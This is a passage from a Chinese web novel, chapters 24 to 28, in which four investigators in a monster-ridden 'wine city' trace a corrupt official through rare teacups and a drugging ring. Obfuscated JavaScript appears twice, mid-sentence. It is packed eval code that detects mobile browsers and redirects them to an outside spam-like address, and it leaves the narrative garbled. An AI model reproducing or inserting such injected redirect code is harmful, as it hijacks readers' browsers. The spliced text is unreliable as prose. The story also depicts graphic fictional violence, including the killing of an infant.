老头笑着说,“一看你们就是新来的,我们这伪人多,都习惯了。“随后他明显对着宁筠身后的人继续说,“这个伪人被戳瞎了眼,牙齿拔得一干二净,死不了人的,别害怕。” 身后传来枪支塞回背包的声音,宁筠下意识回头。 沈枫整理了一下背包,随后对着老头道歉:“抱歉,我的职业病犯了。” 老头笑得开怀,在众人的背影身后还夸赞着沈枫的事业心。 沈枫的事业心,宁筠的火葬场。 她在这艳阳高照的天气中有点冷。 楼道里的杂物也很多,众人挑着地方下脚,短短的三楼路硬生生走了五分钟,最终见到了于环本人。 于环是个看起来很面善的老头,听说了众人的身份,便迫不及待地邀请众人进屋,还贴心地附赠了茶水。 “请问你们来找我是有什么事?”于环端着一杯茶水,抿了一口,吐掉嘴里的叶子后,问道。 宁筠还在现编理由,仇景澄已经开始见鬼说鬼话。 “于叔,自从你走了后,我就好想你啊——”他做着夸张的神色,对着于环说,“——这不特意来看你了。” 于环刚要笑呵呵地接话,就听到仇景澄继续说:“也没带什么礼物。所以给您捎了一句话,您还记得仇书章吗?” 宁筠一口茶抿在嘴里,差点没喷出来,与仇远互相对视了一眼,都看到了对方眼里的震惊。 礼物是这么带的? 于环端着茶杯的手一顿,笑容有些僵,“呃……记得,书章她的案子有进展了?” “还没。”仇景澄摆了摆手,将仇远推给对方,“我就是想说,她儿子都长这么大了。” 于环显然松了口气,与仇远几人攀了家长。宁筠就在这个时候,与沈枫在屋里四处乱逛。 房间不大,四周堆满了破旧的杂物,角落处挤了一张简易的木床,还有一个掉了一半柜门的衣柜,里面装的不是衣服,而是大大小小的茶杯。 在一个以酒文明的城市里,喜欢喝茶也是一件稀罕事。 “那个柜子里是我年轻时喜欢收集的杯子。”于环笑着对宁筠说,“你要喜欢,就拿去用。” 说实话宁筠觉得这样不大礼貌,总有一种心虚的偷感,在被于环打断过一次后,偷感就更重了。 没想到沈枫十分不客气,“三秋杯也可以拿走吗?” 衣柜里的杯子各不相同,但沈枫的视线落在了第二列的第四个杯子上,杯子外壁简单的印了花朵、蝴蝶,看起来与其他杯子并无不同。 显然是沈枫口中所说的三秋杯。 于环微微一愣,脸上的褶子也平了几条,倒也耐心,“三秋杯是朋友送的,其他的都可以。” 除此之外,其他地方没什么东西了。 宁筠重新回到了茶几旁。 “您真是个好人。”仇景澄站了起身,“我们就是来看看您,不打扰您了。” “问出什么了吗?”宁筠站在楼道的拐角处,轻声问着。 仇景澄:“和他父亲的说法一致,听起来没什么问题。” 倒也不意外,就凭她们这种250似的调查方法,能找到问题才是真的奇怪。 宁筠稍稍松了口气。 在这四人组里,仇景澄稍稍长了脑子但不多,仇远根本没脑子,至于沈枫就是来走个过场的,应该没打算帮助他们破案。 以至于这么多人,到现在也没发现宁筠在浑水摸鱼。 但总有例外。 “有问题。” 声音低沉又清冷,不大像是宁筠能发出来的。 仇景澄这才抬头看向沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955215|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫,“您也在调查?” 沈枫道:“三秋杯,有价无市的杯子,一杯足以保证他后半辈不缺吃穿,为什么不卖?” “或许是朋友珍藏?” 这句话在宁筠几人要找的第二位时被打了脸。 第二位名叫华武,曾掌管军事,即使到了晚年,浑身也有一种战场厮杀的气势,几乎与沈枫不相上下。 第二只三秋杯也是在同样的柜子里找到的。 这就很不对劲了。 以酒城的城风来说,茶少见,茶杯少见,两个退休大佬同时拥有同一套茶杯,更少见。 刚刚还说着珍藏的仇远小朋友也不说了,一个人默默地蹲着,显然很怀疑人生。 “你怎么知道的?”宁筠问。 沈枫神色很奇怪:“你在基地不喝茶吗?” 基地喝茶养生这件事,宁筠也是在这一刻才知道,她很识趣地闭了嘴,以免暴露她从未在基地生活过的事实。 于是沈枫开始给从不喝茶的酒城人科普,其中包括了疑似没在基地生活过的宁筠。 “三秋杯在世上只有三套珍藏,也被世上誉为‘三人行之作’,每次拍卖只会卖给三个关系极好,有钱有势的人存在。如果少了一套,杯子的价格会大打折扣。” “我记得上一次拍卖,最后是一个酒城人买走了。” 沈枫一副追忆的神色,让宁筠怀疑,当时的他也参加了拍卖,只是因为没有好朋友,导致三秋杯最后流落了他人手里。 宁筠越看越觉得这是事情真相。 仇远烦躁地抓了抓头发,显然智商不够了:“可那又有什么关系?一个杯子能证明什么?” 沈枫应该没见过这么不长脑子的属下,抿了下唇,就闭嘴不再说话,满脸写着“真是白瞎了我的科普”。 宁筠只能解释说:“另一套显然沦落在另一个人的手里,这个人的关系一定与他们极好,我们可以通过这个杯子,找到另一个人的存在。” “杯子可以被拍卖行打骨折价回收,凑齐了三套依然可以大赚一笔。而这种珍稀杯子,即使单独卖也能卖上一大笔钱,但他们为什么不卖呢?” 仇景澄恍然大悟,“显然是他们卖不了!” 宁筠一副孺子可教的表情,“他们卖不了,极大概率说明这是封口费,需要放在显眼的地方,告诉他‘我们没有背叛’。而能让这种官职的人提供证明,背后的人显然是——” “——城主!”仇景澄满脸的不可置信,几乎要呼吸骤停。 “……城主身边最大的人,主簿。” 主簿负责记录和保管公文、档案等簿籍资料,绝大部分主簿都会通过手上得到资料和实际情况,参与重要政务的决策。 如果主簿想要蒙蔽城主,那是再简单不过的事情。 仇景澄脸上夸张的神色一顿,“哦。我就假装一下,你们真信了?” 一旁被吓得找不到北的仇远沉默了一下,摸了摸自己骤停的心脏,没敢说话。 吓唬完人的仇景澄,将这件事告诉了仇兰月。 “主簿宣献?”仇兰月在那边的语气诧异,“你们是不是找错了。” “当初他还没做成主簿,只是一个书记。而上一任主簿,早在去年就去世了。” 25. 酒城 所有人再度看向宁筠。 死得真巧。宁筠心想,这条线索刚刚有了眉目,就断的一干二净,更令人心梗的是,就算她们查到的线索全都指向主簿,其他人也可以将锅甩向前任主簿。 说到底,一切只是她们的推测。 但总有哪里不太对劲。 宁筠捏着指尖,问了一句丝毫不相干的问题:“宣献喜欢喝茶吗?” “挺喜欢的。”仇兰月说,“他家境不错,经常到处买茶杯。你们发现什么了?” 喜欢买茶杯? 未等宁筠说出口,仇远就迫不及待地问:“那他有买过三秋杯吗?”似乎是觉得语气不妥,脱口而出后,又重新问了一句,“就是买拍卖过的杯子。” 空气中有短暂的沉默,无论是一旁无所事事的仇景澄,还是看起来漠不关心的沈枫,都有意无意地,将视线定格在一块小小的通讯设备上。 这将决定了,他们走的方向是否正确。 “很遗憾,我从未听说过。” 憋着一口气的宁筠直接泄了气。 宁筠没看过刑侦文,不知道仅凭个杯子就能找到线索,这对刑侦来说是个什么概念。 可能比较抽象。 似乎是察觉到了众人的沉默,仇兰月适时补充了一句。“我没听过不代表他没买。你们是有线索了吗?” 仇景澄“嗯”了一声,“我们发现华叔他们家里都有三秋杯,听说三秋杯只能三个起卖,剩下那个去哪里了?” 电话那边的仇兰月沉默了一下,片刻后说道:“确实有问题,这件事交给我。” “对了……”宁筠刚要说些什么,就被一阵“嘟嘟”的忙音打断,她握着电话,沉默着放了下来。 能当上城主的人,执行力都不是一般的快。好在还有个慢半拍的仇远,一副如梦初醒的模样,问:“上任主簿不是死了吗?” 空气比刚刚还要安静,片刻后,稀稀拉拉地脚步声响起,仇景澄和沈枫十分默契,不约而同地向着门外走去。 仇远:“他死了,杯子和他有什么关系?” 没人理他,他只能将求助的目光放在宁筠身上,宁筠沉默了片刻后,也跟着往外走。 仇远:“???” 最后还是好心的宁筠给出了解释。 “三秋杯能有威慑力,代表能威胁他的人一定活着。前任主簿死了,恰巧说明有威胁的不是他。也就是说,宣献依旧有嫌疑。” 宁筠领着仇远走在队伍的末尾,继续说:“而且我在监狱时遇到了宣献,我怀疑他原本可能要做什么,结果遇到仇景澄……” 她忽然想起了室友的话,还有几乎可以堪称怜悯的眼神。 室友要阻止她什么来着? 好像是阻止她被人捞出了监狱。 没头没尾的,宁筠问了一句:“你怎么知道那天我喝的酒有问题?” 仇远不知道为什么要问这件事,但还是理所当然地说:“不知道,但是有人喝完类似的酒,没过多久就会有人自称她们家属,然后将她们领走。” “可我后来看着看着,发现这些‘家属’本来就在酒吧里,他们既然是家属,为什么不相认呢?” 所以后来的仇远,再看到别人喝这种酒时,就会刻意地打翻酒杯,争取不被这些不知道从哪里来的的‘家属’捡走。 如果当天的人没有被‘家属’捡走,那会发生什么? 会有人善后。 宁筠怀疑,当时的宣献,就是来‘善后’的人,只是不知道为什么,来‘善后’的人居然是宣献本人,而不是他的其他下属。 “你是说……他们可能有一定的联系?”仇远还是不懂,“可这些与三秋杯有什么关系?” “有。”走在前面的仇景澄回头答着,“如果三秋杯是宣献的,说明你的父亲和他们蛇鼠一窝。” 听了这番话的仇远一路上皱着眉头,既不开口说话,也不回答什么问题,到了家也只是蔫哒哒地垂着头,一步一步挪回了房间。 无论怎么分析都和他父亲有关这件事,似乎让他受了不少的打击。 仇景澄的房子是一套别墅,位置偏僻,远离了灯红酒绿的市区。即使如此,晚上也依旧热闹得很。 无数衣衫破烂的人敲打着紧闭的大门,嘴里发出凄惨的哀嚎。 “求求你们收留我吧……” “我真的不是伪人……” 酒城的孩子们自小就会被教育一件事:如果有人敲门,请一定不要开门。 因为门外敲门的,不一定是人。 确实是这样。宁筠粗略地扫了一眼,这是第三批敲门的人,而这三批没有一个是人。 午夜过了半,伪人们似乎知道自己无法获得人类的同情,晃着残缺的身体,趔趔趄趄寻找下一家。 宁筠被伪人敲得心烦意燥,自己被仇兰月和沈枫两人架在这件事上不说,又得知了自己可能被宣献盯上了,就有些睡不着觉。她在床上躺了一会儿,没忍住打开卧室门,走了出去。 客厅特意留了一盏灯,昏暗的灯光从一楼照到二楼,与月光交织成斑驳的光影,宁筠就站在阴暗交织处,垂眼看着客厅里的人。 不知是仇景澄还是仇远的呼噜声,隔着门听不真切,以至于宁筠的开门声倒显得极重,几乎是打开的一瞬间,沈枫就眺望着,将视线落在她的身上。 沈枫也没睡,甚至连衣服都没换,蔚蓝色的制服还算端正,仅有几道褶皱,在宁筠看到时就已经被抚平。 她们应该是敌人,却在这一刻心照不宣地回避。 直到宁筠倒了一杯水,沈枫才问:“怎么不睡?” 她捏着茶壶上的把手,神色夹杂了几分茫然,停顿了一会才说:“睡不着。你为什么不睡?” 沈枫问:“只是有点分不清,世界上是好人多还是坏人多。” 这是个很幼稚的问题,要是宁筠来回答的话,或许是伪人多一点。 这又涉及到了另一个问题,伪人明明以人类为食,并汲取着人类的记忆、形态,可最终的数量居然比人类多出数倍,这并不符合生态平衡。 宁筠在卖房子老板的地图上看到过,人类的基地及周边区域只有小小一角,剩下大部分被黑雾隐藏,而接近黑雾的地区,上面呈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958891|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现的星级,最低是四颗星星,更不敢想,那些黑雾笼罩的区域,会有多少伪人。 这大概就是基地为什么要定时派人的原因。或许不知道什么时候,原本安全的区域也会被伪人悄无声息地侵占。 宁筠抿了一口水,说:“想要活着的人占了多数。” “你也想活着吗?”宁筠听见沈枫这么说。 “嗯。” 是个人都想要活着,宁筠觉得他问的话有些奇怪。 沈枫无声地笑了一下:“也对。” 静谧蔓延,他的视线似乎落在了宁筠身上,又似乎没落下,更像是在透着宁筠,看着什么人。 就在宁筠以为,他也要讲一些什么掏心窝的故事时,门外传来了敲门声。 很凶。 又是一只伪人,力气不小,仅仅敲了一下,震动就顺着地面与房门共鸣,宁筠手中的水就晃了几下。 紧接着,她看到沈枫从制服里掏出枪,打开窗户对着伪人来了一发。 声音不大,在寂静的深夜里,像是拖长了调子的夜鹰。 “有伪人进来了吗?”仇景澄从房间里出来,还顶着个鸡窝脑袋,声音含糊,像是没睡醒一般。 沈枫“嗯”了一声,拖着修长的腿上了楼,宁筠走在后面,什么话都没说。 看到一半,仇景澄像是才反应过来似的,连忙问:“你俩不睡觉,在这干嘛呢?” 宁筠在犹豫怎么回答,至于沈枫,这人直接当了耳旁风,从仇景澄旁边略了过去。 仇景澄不大敢惹这位基地的大佬,只好把脸对准宁筠,凑了过去,用所有人都能听到的声音悄悄问:“你俩……” “打伪人。”宁筠将他的脸怼了回去,说。 仇景澄就这样被怼回了房间内,顺带着门也被关了个严严实实。 其实他想问的不是这个,相比于枪声,他更想知道她们俩为什么大半夜不睡觉,偷偷在客厅见面。 结果门外的俩人一个避而不谈,一个模糊其词。 宁筠转身打开了房门,沈枫的房间就在宁筠的隔壁,她偏头想了想,还是对沈枫问道:“基地的设备不能赔偿吗?” 沈枫捏着把手的指尖一顿,说:“三千万,你有钱吗?” 真要说起来,宁筠只会三个千万的祝福,不过以沈枫的性格,估计能当场掏枪。 为了不必要的冲突,她冷静地说:“当我没说。” 然后转头进了门。 门关的很匆忙,导致看起来也不是那么冷静。 独留于门外的沈枫,看了眼隔壁严丝合缝的房门,不知道想到了什么,在门外停顿了一会儿,才进了房间。 第二天一早,仇景澄别墅里唯一的一个座机电话响了起来。 老式的座机电话上有一种语音功能,会实时播报拨通方的电话号码,宁筠将将醒来,路过座机,不知道是沉寂了八百年,还是因为别的,就像是没播过报似的,铃声震耳欲聋。 放的还是--好运来。 众人就是在这铃声起了床。 “谁的?” 仇景澄:“仇城主的。” 26. 酒城 仇兰月的声音透过电话传了过来,“那个三什么杯,确实是宣献买走了。” “三秋杯。” 仇远纠正仇兰月的话,一副果然如此的模样,就好像昨天脑袋转不过来的人不是他一样。 电话那头的仇兰月“哦”了一声,继续说:“但这并不能证明宣献与他们有关系,我又找了一些其他的证据,于是有意思的来了。” “果木酒吧的老板吕文彬,他的酒吧也不太干净。” 仇兰月的效率着实高,在宁筠提出“宣献有问题”这句话,另一边的她就吩咐了下属着手准备调查。 最开始是调查宣献的流水账,酒城的存款机构一般叫“交易行”,与现代的银行类似,不过功能就比银行要多得多。 交易行会定时举行一场拍卖会,如果在交易行内的存款较多,交易行也会帮助顾客拍卖一些不常见的东西。 比如三秋杯。 这也是仇兰月从未听说过宣献买过拍卖杯子的原因。 但这正如仇兰月所说的,这并不能证明宣献是杀害仇书章的凶手。 于是仇兰月又调查了另一个方面,比如宣献背后的势力。 她虽然知道宣献能坐稳这个位置,必然有不少的势力,但没想到,这次居然让她碰巧发现了个大秘密。 他身后的势力复杂到超乎她的想象,像是个盘根错节,相互纠结缠绕的树根。 据调查所知,酒城共有三千酒吧,其中大约有一千个酒吧与他有关系,其中包括但不限于果木酒吧。不仅如此,与他交好的官员不胜其数,每年都会有大批量的资源来往,其中不仅包括物资,还包括一些见不得人的东西。 比如那杯下了药的酒。 宣献靠着这杯酒,在无数个酒吧之间,获得了一大批的年轻男女,并将这些送往星空之城,被交好的“朋友”们争先抢后的“享用”。 若不是碰巧有一个刚好从星空之城逃出来的受害者,她们可能一辈子都不知道这些事情。 无论从哪方面看,宣献罪恶滔天是板上钉钉,但仇兰月并不是想要这些。 她更想知道,仇书章的遇害是否与宣献有关系。 “不过很不巧,宣献跑了。”仇兰月在电话传来了沙沙声,像是在记什么东西,“城门口已经被我关闭了,如果可以的话,我想请你们帮我找找他。” 如果经常玩游戏的话,可以看到电话上的冒号,黄色的。 他们这行人都不按套路出牌,尤其是仇景澄。 “这些事你之前不知道吗?”或许是仇景澄的语气太鄙夷了,导致电话那头的仇兰月沉默了好久。 没过一会儿,仇兰月好脾气地说道:“宣献是去年才上位的,之前我忙于寻找真相,没想到他的势力已经这么强了。” “也就是说,上任主簿和指挥官他们都是你做的。” 仇兰月毫不忌讳地承认了:“去年的我即将查出真相,结果上任主簿以死谢罪,导致线索拦腰中断了,可是主簿不能没人做,只能交给了宣献。” 这个极好的机会,让宣献从一个书记变成了酒城里只手遮天的主簿。 仇景澄眉头紧蹙,片刻后“哼”了一声,“那怎么不在他发展的时候清理掉。” 就算仇兰月不解释,宁筠作为玩过基建游戏的老玩家,也知道处理掉同流合污的毒血,有多么的困难。 要处理掉宣献,就不止去处理宣献,还要处理掉与宣献同党的其他官员,动一个就要牵制一堆,短时间内,仇兰月根本无法找到这么多同等能力的部下。 事办得一塌糊涂的清廉官员,与政绩突出的贪污官员,如果是宁筠,她会选择一边培养清廉官员,一边拔掉贪污官员。 清廉官员不好找,培养成政绩突出的官员更不好做,于是慢慢地,让宣献的势力越来越大,也愈发的不可替代。 这座千疮百孔的城市能活到现在,全靠仇兰月个人能力突出。 “总之,他现在不能丢。”仇兰月说,“先把他找回来,剩余的事,我们慢慢来。” —— 今天的酒城比以往都要严肃。 进入酒城的大门紧闭,将无数想要进城的难民拦之于外。难民们哭喊着、痛苦地叫着,无数鲜血染红了城墙,而士兵们站在城墙上,即使拿着枪,对一切也视若无睹。 只因城主不允许开城门。 宣献在站在城墙之上,成为了某一个站岗的士兵。 “喂,0645号士兵,别发呆。”为首的士兵长喊着他,“到你了,过来交接。” 城墙之内被虫子蛀得坑坑洼洼,城墙外部也脆弱的不堪一击。 这是宣献站了第三个小时的班,休息时间仅仅只有可怜的五分钟,所谓的“交替换班”只不过是让宣献有上厕所的机会而已,五分钟后,他还需要继续站岗。 谁也不会想到大名鼎鼎的主簿,居然会心甘情愿地当上了一个小兵。 听到了士兵长的命令,宣献卸下了手中的枪,拖着冗长的步子向室内走去——作为一个文职人员,三个小时几乎能要了他的命。 房间内的舒适感让宣献觉得活了过来,他深吸了口气,用清凉的水洗了一把脸。 再抬头时,室内似乎有什么地方不一样了。杂物间的扫把似乎倒在了地上,厕所隔间的门关上了一扇,更重要的是,他莫名地觉得有些不安。 像是会有什么事情要发生了一般。 “五分钟到了,你怎么还不过来?!”室外的士兵长喊道,声音里满是不耐烦。 士兵制度只是欺压下级严重,而该有的森严一点不少,怎么可能会有人呢?宣献摇了摇头,用毛巾将脸擦拭干净。 就在这时,窗户的门似乎开了,深秋的冷风吹了进来,携着冷意,几乎能渗到腰窝处。 实际上,宣献的腰窝确实是冰凉一片。 “别动。”他听到一个低沉压抑的声音说,“你叫宣献?” 半响后,宣献点了下头。 而他的周围围了四个人,分别是宁筠、沈枫、仇景澄和仇远,几人在宣献进门之前,就 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“你不怕我会隐藏在这些消息里吗?”宣献声音闷闷的,但又有着少年的稚嫩,属实不像个“大奸臣”能发出来的声音。 “不怕,因为其他地方都有人在找你。”仇远得意洋洋,拿着手上的匕首对准宣献,比了个飞剑的手势。 宣献“哦”了一声,“可我不是宣献。” 等到众人一把扯过他的毛巾时,看到了他清秀的脸,棱角分明,着实比较养眼,但沈枫一眼就看出了不对。 沈枫与真正的宣献见过面,自然清楚眼前的“宣献”是个冒牌货。 “假的。”他说。 几个人的脸色难看了起来。 只有宁筠抬头看着窗外,冷风习习,窗外的树叶响动着,似乎还夹杂了其他的,不知名的声音。 “那个士兵长,怎么不催了?”宁筠说。 一语惊醒梦中人。 其他人终于意识到,刚刚不耐烦的士兵长,在说完这句话就不见了踪影,既没有进屋抓偷懒士兵,也没有问具体情况,实在不像个尽职尽责的士兵长。 等到他们出了门,城墙上只剩下空荡荡一片,平日里把手的士兵都不见了踪影,而刚刚紧闭的城门口,此时大门敞开,无数难民争前恐后地涌入。 现在城口被难民们围得水泄不通,几乎不可能逆着难民而行。 而争取的这些时间,足够他们逃离酒城。 “带走。”宁筠说,“他既然是宣献身边的人,一定知道宣献在哪里吧?” “宣献”猛地抬了头,脸色绷得极冷。 “我猜。宣献没有逃出城。”宁筠将手上的枪抵在“宣献”的后背,“我说的对吗?” 片刻后,“宣献”闭了下眼睛,终于微不可查地点了头,“对,他根本没出城。” 一旁的两位仇家小朋友已经惊呆了,其中一个小朋友问:“你怎么看出来的?” 宁筠反问:“你在野外能活吗?” 好……好有道理。 27. 酒城 有道理个屁。 宁筠紧绷着一张脸,无意识地捏了两下手指,呼吸声比平时稍稍快了几分。 她就是随口炸了一下,没想到炸出来个真的。脸上不语,手上的枪支怼得更深了,扣动了扳手。 “不仅没逃出城,还藏在了他自认为安全的地方,是吧?” 隔着枪支传来的震动,十分微弱,在这一刻却被放大了无数倍。 “好难猜啊,你觉得他在自己的家,还是在星空之城呢?” 宁筠每吐出一个词,“宣献”就会有一点微弱的反应,稍纵而逝,直到说出某个词汇时,那点微弱的颤抖就变成了生硬的僵直。 星空之城。她将这几个字默默念了一遍,嘴上扬起了一点堪称温和的笑意,继续说道。 “你说是在室外,还是室内?” “在地下还是地上?” “在……” 宁筠的坏心眼子在经过三轮的提问后失效。 也不知道是他不清楚人在哪,还是拆穿了宁筠的把戏,后续提问时,身板也不抖了,腿也不僵了,一脸“你说什么就是什么”的神态。 有效阻止了宁筠的滔滔不绝。 “去星空之城吧。”宁筠扬了下巴,说。 “你不怕他故意的吗?”一旁的仇景澄将不满发泄在“宣献”身上,只见一脚,就把“宣献”踹倒在地,额头上被磕了一块泛紫的淤青。 “宣献”浑身哆嗦了一下,却仍旧什么话都没说。 宁筠问:“你猜城主她会想不到这些问题吗?” 一句话将仇景澄堵得严严实实。 天光微微歪斜,城门口的难民也散得差不多了,城门打开时,不知道里面混杂了几个伪人,随着人群一起进了城门。 当然,就算是平时有驻兵把手,他们也一向认邀请函不认人。 此时只剩下几个零星的新人,似乎摸不清状况,探着头脑向城门内望去。 宁筠只是偏头看了一眼就下了楼。 在下楼的过程中,沈枫突兀地停顿了一下,然后扯了一下宁筠的身体,那不知从何而来的匕首就擦着宁筠的肩穿过。 楼梯口的“宣献”气喘吁吁,手腕缠绕着一个绳子,另一端连接着匕首,他的手一扬,匕首就顺着绳线的轨迹飞了回去。 “你们……不能走。”假宣献像是下定了某种决心,“除非我死。” 自古以来,献祭忠心的人才会得到大人物的赏识。“宣献”在赌,赌正义属于他们,赌宁筠不会击败正义的他们,这样他就可以顺利升职,然后成为大人物身边的狗腿子。 这是平民唯一的晋升通道。 “宣献”是这样认为的。 只是“宣献”怎么也没想到,对面的是主角团,还是各个没什么同理心的主角团。 他倒在楼梯口的边缘,胸腔带着子弹的碎片颤动,连带着牙齿也打颤起来,气喘吁吁地看着自己身上的鲜红,顺着节节楼梯向下流淌。 而打中他的那位女性,连眉头都没皱一下,漠然地看着他倒下,漠然地转身离开。 “如果他在星空之城,那我们就需要分头行动了。” 他视线的最后一刻,看着她侧着头,微风将发间刘海吹得歪斜,她眯了下眼,浑不在意又撇了过去,直到几个人转了弯,她的身影就消失在楼梯间。 “如果他真的逃出城了呢?”仇景澄“啧”了一声,还是觉得十分可惜。 “好办。”一直旁观的沈枫接了话题,“连酒城都容纳不下的人,就没有其他地方能容纳得下了。” 话糙,还有点侮辱人。 仇景澄当场就不乐意了。 “我们酒城怎么了?好歹也安……” 几人拐过一个弯道,入目眼帘的是一只装也不装的伪人,逮着一个路人就开啃。 仇景澄将刚刚的话收了回去,“也是有人来……” 或许是刚进城的新人聚堆,没见过酒城的混乱,尖叫着拍打四处店铺的大门,可惜大门紧闭,任凭他们怎么拍打,也没有一个店铺好心开门。 众人只能纷纷向城外逃难。 顷刻之间跑得差不多了。 仇景澄:“……”算了,无所谓了。 街道上只留下一个被啃得一块又一块的碎片。 宁筠抬了手,解决掉那只极力模仿餍足表情的伪人。 在路过时,几乎看不清的血污碎块下,有一阵虚弱的、像是枯叶落下的猫叫声,成功让宁筠驻了足。 枪支挑起一旁的血肉沫,被毛巾包裹的,浑身脏污的一团就漏了出来。 娇小、脆弱,是末世之下新生儿的写照。 “呕……”仇远被血腥气味熏得不行,当即就要吐出声来,“这孩子活不成了,我们走吧,正事要紧。” 宁筠歪了下头,然后抬起了枪。 下一刻,那只团成一团的婴儿就这样停止了啼哭,陷入了无尽的沉睡之中。 仇远呆呆地看着安静的孩子,却无声地松了口气,然后扭了头,再也不看它们一眼。 就像是不看到就没有了这件事。 越往里走,这景象就越来越常见。空气中弥漫着腐烂的气息,混合着血腥和焦糊的味道,令人作呕,地面上黏糊糊一片,看不出来是昔日的人,还是其他的什么东西。 在几天之前,宁筠还在这里住过宾馆,客人们会发出闹哄哄的笑声,有点吵,不像现在这么安静。 星空之城。宁筠再一次将这四个字在心中默念,踏着黏腻的声音走到星空之城。 这里确实是最后的一片净土。凭借着邀请函的机制,足以将大部分伪人拦之门外。一路上不见踪影的军队,在这里被分成了四批,驻守在四个角落。 为首的那名士兵,注意到了宁筠几人,刚将枪口抬起,在看到她身后的人后又瞬间放了下去。 一个基地来的人,还有两个城主的亲戚。 都是活爹。 士兵:“您总算来了,有您在,我们一定能活下去的。” 虽然在对着仇景澄说话,但眼神却撇向沈枫,像是在等着什么一般。 “城门被打开了?”询问状况的是仇景澄。 士兵应了一声,有些为难地说道:“四个城门都被打开了,大量伪人涌入,我们能守住的地方不多,只有这里了。” 仇景澄瞳孔一缩:“我姐姐呢?!” “城主在伪人入侵后就断联了,我们不清楚人是否……”士兵抓了把头发,发丝就哗啦 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仇远这个缺心眼的还没意识到这是谁,逮着人就问:“你们知道宣献在哪吗?” 然后就问到了宣献头上。 “我是宣献。” “哦哦,你是宣献。”仇远刚要转头,突然停顿了一下,转过头来不可思议地说,“你是宣献??” 宣献和城门口的士兵长相有八分相似,只是久经官场,浑身上下带了几分威严的气势,倒与那位士兵呈现出一个天一个地。 “找我有什么事吗?”宣献嘴角向上扬着,眼睛里却没什么笑意,也没什么迷茫。 显然是早就知道她们要找过来了。 仇远不会看人脸色,只觉得这人笑起来非常欠揍,语气毫好不客气:“我妈的事,是不是你做的?” 宣献坦然承认了,笑得十分不要脸。 “是。” 成功让仇远红了眼。 他大声喊着:“小舅你别拉着我,我今天必须要好好问候一下他!” 仇远挥舞着拳头,怎么也碰不到宣献的边。宣献笑得更开心了,“你不想知道是谁动手的吗?” “除了你还能是谁……” “是吕文彬。” 吕文彬,又名果木酒吧老板。 仇远一愣,呼吸骤然急促,一把推开了仇景澄,“你个狗东西说话,傻逼才信!” 也不知道这小孩哪里爆发的力气,仇景澄被推的一个踉跄,还未等站稳,就看到仇远已经对着宣献扑了过去。 宣献什么都没反抗,任由仇远拉扯着自己的衣服,声音轻得像是鸿毛,“不然你以为你爸为什么和你妈结婚?” 这一句话将仇远定在了原地,也留住了看热闹的宁筠。 果木酒吧老板不是个好东西,这是在进了酒城的第一天,宁筠就已经清楚的事,只是这事对仇远的打击似乎有些大。 她不是很理解,从下迷药送美人,到不管不顾仇远,无论如何都能够证明果木老板是个坏人,为什么仇远会无法接受。 宣献也确实没给仇远机会接受,他的手一扬,无数士兵就从四面八方袭来,将几个人团团围住。 28. 酒城 仇远被其中一个士兵压在了地上,双手扣着手铐,脸上沾满了泥巴,十分狼狈。宁筠也没跑掉,陪了一个手铐。 几个人就在这样被动的状态,听完了宣献堪称放飞自我的讲述。 当年的宣献还不是主簿,只是一个胸怀大志的富家子弟,是星空之城的未来接班人。 与糜烂的城市一样,自小的他接触惯了灯红酒绿,自然不觉得这些有什么可耻,相反的,他向往这个世界,希冀这样美好的生活能一直停留到他死去。 至于底层的贫民什么样,关他屁事。 他以为现任的城主维持着这样脆弱的平衡,未来的城主也是如此,可仇书章的出现狠狠地打了他的脸。 “我要将酒城变成平等的城市,让所有人都有家可归,阖家欢乐。” 站在城主府旁的宣讲台,仇书章浑身散发着耀眼的光,携着自信的笑意,声音铿锵有力。 宣献作为富人,更希望穷人们成为牛马,一辈子依靠着富人们活下去。 这样的宣言无疑是在告诉他们,自己的好日子到头了。 好日子确实到头了。 仇书章自掏腰包发放救助食物,让他们严控的粮食数量失效,粮食价格溃不成军,一度降到了冰点。 紧接着,她又开始城市改善,建造了一栋又一栋的高楼,修筑了一间又一间的酒吧,将整个城市映在了灯红酒绿之中。 这无疑是在强富人们的财产,尤其是宣献的。 星空之城不再是城市里的唯一一间酒吧,富人们也不再垄断着穷人的资源,包括精神世界。 他们赖以生存的东西被吞噬殆尽。 于是宣献召集了他认识的所有富人,同样感到了危机感的富人们听从他的号召,开始密谋着长达十多年的计划。 起初的他们只想着悄悄将仇书章除掉,结果发现她不是出现在公众视野,就是被一群平民拥趸,接近她简直难如登天。 就这样让她越做越大,成为了酒城最有竞争力的候选城主。 宣献从一开始的束手束脚,发现无法奈何仇书章后,就解除了禁锢,用尽了损招。 在酒水里下药,在路上伏击,安插探子暗杀,散播无数谣言…… 他们做尽了一切,却仍然会在第二天的早上,看到精神抖擞的仇书章,奔着她那支起来的扶贫小摊,为吃不饱饭的难民发放食物。 最后连他们安排抢夺食物的演员,都会在第二天悄无声息地失踪。 这人的防御力简直点满了。 有不少富人放弃了,选择打不过就加入,而宣献一直憋着一口气,又拉不下脸放弃,又不想就这样低人一头。 大概是少年时期奇怪的坚持,终于让他等到了一个破绽。 吕文彬。 一个刚成为雇佣兵的毛头小子,普普通通的平民,就这样接近了他们从未能接近的仇书章,让他不禁怀疑,仇书章是不是有什么大病。 但无所谓,他会见缝插针。 多年练就的行动力,让他第二天就找到了这位毛头小子,诉说了他的梦。 